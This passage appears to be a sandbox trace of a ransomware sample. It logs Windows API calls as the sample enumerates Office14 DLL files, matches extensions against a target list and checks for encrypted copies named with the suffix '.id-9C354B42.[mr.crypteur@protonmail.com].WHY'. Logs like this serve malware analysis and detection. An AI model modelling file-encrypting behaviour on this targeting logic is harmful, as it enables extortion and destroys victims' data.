(normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.102] lstrlenW (lpString=".doc") returned 4 [0219.102] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.102] lstrlenW (lpString=".docx") returned 5 [0219.102] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0219.102] lstrlenW (lpString=".pdf") returned 4 [0219.102] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.103] lstrlenW (lpString=".xls") returned 4 [0219.103] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.103] lstrlenW (lpString=".xlsx") returned 5 [0219.103] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0219.103] lstrlenW (lpString=".ppt") returned 4 [0219.103] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.104] lstrlenW (lpString=".zip") returned 4 [0219.104] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.104] lstrlenW (lpString=".rar") returned 4 [0219.104] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.104] lstrlenW (lpString=".bz2") returned 4 [0219.104] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.104] lstrlenW (lpString=".7z") returned 3 [0219.104] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.104] lstrlenW (lpString=".dbf") returned 4 [0219.104] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.104] lstrlenW (lpString=".1cd") returned 4 [0219.104] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.105] lstrlenW (lpString=".jpg") returned 4 [0219.105] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.105] lstrlenW (lpString=".doc") returned 4 [0219.105] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.105] lstrlenW (lpString=".docx") returned 5 [0219.106] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0219.106] lstrlenW (lpString=".pdf") returned 4 [0219.106] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.106] lstrlenW (lpString=".xls") returned 4 [0219.106] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.106] lstrlenW (lpString=".xlsx") returned 5 [0219.106] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0219.106] lstrlenW (lpString=".ppt") returned 4 [0219.106] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.106] lstrlenW (lpString=".zip") returned 4 [0219.107] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.107] lstrlenW (lpString=".rar") returned 4 [0219.107] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.107] lstrlenW (lpString=".bz2") returned 4 [0219.107] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.859] lstrlenW (lpString=".7z") returned 3 [0219.859] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.859] lstrlenW (lpString=".dbf") returned 4 [0219.859] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.860] lstrlenW (lpString=".1cd") returned 4 [0219.860] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.860] lstrlenW (lpString=".jpg") returned 4 [0219.860] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.861] lstrcmpiW (lpString1=".DLL", lpString2=".WHY") returned -1 [0219.861] lstrlenW (lpString="ACEEXCL.DLL") returned 11 [0219.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0220.744] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=899992) returned 1 [0220.744] CloseHandle (hObject=0x2fc) returned 1 [0220.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll")) returned 0x20 [0220.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0220.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0220.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0220.745] lstrlenW (lpString=".doc") returned 4 [0220.745] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.745] lstrlenW (lpString=".docx") returned 5 [0220.745] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0220.745] lstrlenW (lpString=".pdf") returned 4 [0220.745] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.745] lstrlenW (lpString=".xls") returned 4 [0220.745] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.745] lstrlenW (lpString=".xlsx") returned 5 [0220.745] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0220.745] lstrlenW (lpString=".ppt") returned 4 [0220.746] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0220.746] lstrlenW (lpString=".zip") returned 4 [0220.746] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.746] lstrlenW (lpString=".rar") returned 4 [0220.746] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.746] lstrlenW (lpString=".bz2") returned 4 [0220.746] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.746] lstrlenW (lpString=".7z") returned 3 [0220.746] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0220.746] lstrlenW (lpString=".dbf") returned 4 [0220.746] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0220.747] lstrlenW (lpString=".1cd") returned 4 [0220.747] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0220.747] lstrlenW (lpString=".jpg") returned 4 [0220.747] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0220.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0220.747] lstrlenW (lpString=".doc") returned 4 [0220.747] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.747] lstrlenW (lpString=".docx") returned 5 [0220.747] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0220.748] lstrlenW (lpString=".pdf") returned 4 [0220.748] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.748] lstrlenW (lpString=".xls") returned 4 [0220.748] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.748] lstrlenW (lpString=".xlsx") returned 5 [0220.748] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0220.748] lstrlenW (lpString=".ppt") returned 4 [0220.748] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0220.748] lstrlenW (lpString=".zip") returned 4 [0220.748] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.748] lstrlenW (lpString=".rar") returned 4 [0220.748] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.748] lstrlenW (lpString=".bz2") returned 4 [0220.748] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.748] lstrlenW (lpString=".7z") returned 3 [0220.748] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0220.749] lstrlenW (lpString=".dbf") returned 4 [0220.749] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0220.749] lstrlenW (lpString=".1cd") returned 4 [0220.749] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0220.749] lstrlenW (lpString=".jpg") returned 4 [0220.749] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.750] lstrcmpiW (lpString1=".DLL", lpString2=".WHY") returned -1 [0220.750] lstrlenW (lpString="ACEODBC.DLL") returned 11 [0220.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0220.751] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=342960) returned 1 [0220.751] CloseHandle (hObject=0x2fc) returned 1 [0220.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll")) returned 0x20 [0220.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0220.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.752] lstrlenW (lpString=".doc") returned 4 [0220.752] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.752] lstrlenW (lpString=".docx") returned 5 [0220.752] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0220.752] lstrlenW (lpString=".pdf") returned 4 [0220.752] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.752] lstrlenW (lpString=".xls") returned 4 [0220.752] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.752] lstrlenW (lpString=".xlsx") returned 5 [0220.752] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0220.752] lstrlenW (lpString=".ppt") returned 4 [0220.752] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.753] lstrlenW (lpString=".zip") returned 4 [0220.753] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.753] lstrlenW (lpString=".rar") returned 4 [0220.753] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.753] lstrlenW (lpString=".bz2") returned 4 [0220.753] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.753] lstrlenW (lpString=".7z") returned 3 [0220.753] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.753] lstrlenW (lpString=".dbf") returned 4 [0220.753] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.753] lstrlenW (lpString=".1cd") returned 4 [0220.753] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.754] lstrlenW (lpString=".jpg") returned 4 [0220.754] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.754] lstrlenW (lpString=".doc") returned 4 [0220.754] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.754] lstrlenW (lpString=".docx") returned 5 [0220.754] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0220.754] lstrlenW (lpString=".pdf") returned 4 [0220.754] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.754] lstrlenW (lpString=".xls") returned 4 [0220.754] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.755] lstrlenW (lpString=".xlsx") returned 5 [0220.755] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0220.755] lstrlenW (lpString=".ppt") returned 4 [0220.755] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.755] lstrlenW (lpString=".zip") returned 4 [0220.755] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.755] lstrlenW (lpString=".rar") returned 4 [0220.755] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.755] lstrlenW (lpString=".bz2") returned 4 [0220.755] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.755] lstrlenW (lpString=".7z") returned 3 [0220.755] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.756] lstrlenW (lpString=".dbf") returned 4 [0220.756] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.756] lstrlenW (lpString=".1cd") returned 4 [0220.756] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.756] lstrlenW (lpString=".jpg") returned 4 [0220.756] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.756] lstrcmpiW (lpString1=".DLL", lpString2=".WHY") returned -1 [0220.757] lstrlenW (lpString="ACEODDBS.DLL") returned 12 [0220.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0221.854] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=15800) returned 1 [0221.854] CloseHandle (hObject=0x320) returned 1 [0221.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll")) returned 0x20 [0221.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0221.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0221.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0221.855] lstrlenW (lpString=".doc") returned 4 [0221.855] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0221.855] lstrlenW (lpString=".docx") returned 5 [0221.855] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0221.856] lstrlenW (lpString=".pdf") returned 4 [0221.856] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0221.856] lstrlenW (lpString=".xls") returned 4 [0221.856] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0221.856] lstrlenW (lpString=".xlsx") returned 5 [0221.856] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0221.856] lstrlenW (lpString=".ppt") returned 4 [0221.856] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0221.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0221.856] lstrlenW (lpString=".zip") returned 4 [0221.856] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0221.856] lstrlenW (lpString=".rar") returned 4 [0221.856] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0221.856] lstrlenW (lpString=".bz2") returned 4 [0221.856] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0221.856] lstrlenW (lpString=".7z") returned 3 [0221.857] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0221.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0221.857] lstrlenW (lpString=".dbf") returned 4 [0221.857] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0221.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0221.857] lstrlenW (lpString=".1cd") returned 4 [0221.857] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0221.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0221.858] lstrlenW (lpString=".jpg") returned 4 [0221.858] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0221.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0221.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0221.858] lstrlenW (lpString=".doc") returned 4 [0221.858] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0221.858] lstrlenW (lpString=".docx") returned 5 [0221.858] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0221.858] lstrlenW (lpString=".pdf") returned 4 [0221.858] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0221.858] lstrlenW (lpString=".xls") returned 4 [0221.859] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0221.859] lstrlenW (lpString=".xlsx") returned 5 [0221.859] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0221.859] lstrlenW (lpString=".ppt") returned 4 [0221.859] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0221.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0221.859] lstrlenW (lpString=".zip") returned 4 [0221.859] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0221.859] lstrlenW (lpString=".rar") returned 4 [0221.859] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0221.859] lstrlenW (lpString=".bz2") returned 4 [0221.859] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0221.859] lstrlenW (lpString=".7z") returned 3 [0221.859] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0221.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0221.859] lstrlenW (lpString=".dbf") returned 4 [0221.860] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0221.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0221.860] lstrlenW (lpString=".1cd") returned 4 [0221.860] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0221.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0221.860] lstrlenW (lpString=".jpg") returned 4 [0221.860] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0221.860] lstrcmpiW (lpString1=".DLL", lpString2=".WHY") returned -1 [0221.860] lstrlenW (lpString="ACEODEXL.DLL") returned 12 [0221.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0222.705] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=15800) returned 1 [0222.705] CloseHandle (hObject=0x378) returned 1 [0222.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll")) returned 0x20 [0222.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0222.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0222.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0222.706] lstrlenW (lpString=".doc") returned 4 [0222.706] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0222.706] lstrlenW (lpString=".docx") returned 5 [0222.706] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0222.706] lstrlenW (lpString=".pdf") returned 4 [0222.707] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0222.707] lstrlenW (lpString=".xls") returned 4 [0222.707] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0222.707] lstrlenW (lpString=".xlsx") returned 5 [0222.707] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0222.707] lstrlenW (lpString=".ppt") returned 4 [0222.707] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0222.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0222.707] lstrlenW (lpString=".zip") returned 4 [0222.707] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0222.707] lstrlenW (lpString=".rar") returned 4 [0222.707] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0222.707] lstrlenW (lpString=".bz2") returned 4 [0222.708] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0222.708] lstrlenW (lpString=".7z") returned 3 [0222.708] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0222.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0222.708] lstrlenW (lpString=".dbf") returned 4 [0222.708] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0222.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0222.708] lstrlenW (lpString=".1cd") returned 4 [0222.708] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0222.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0222.708] lstrlenW (lpString=".jpg") returned 4 [0222.708] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0222.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 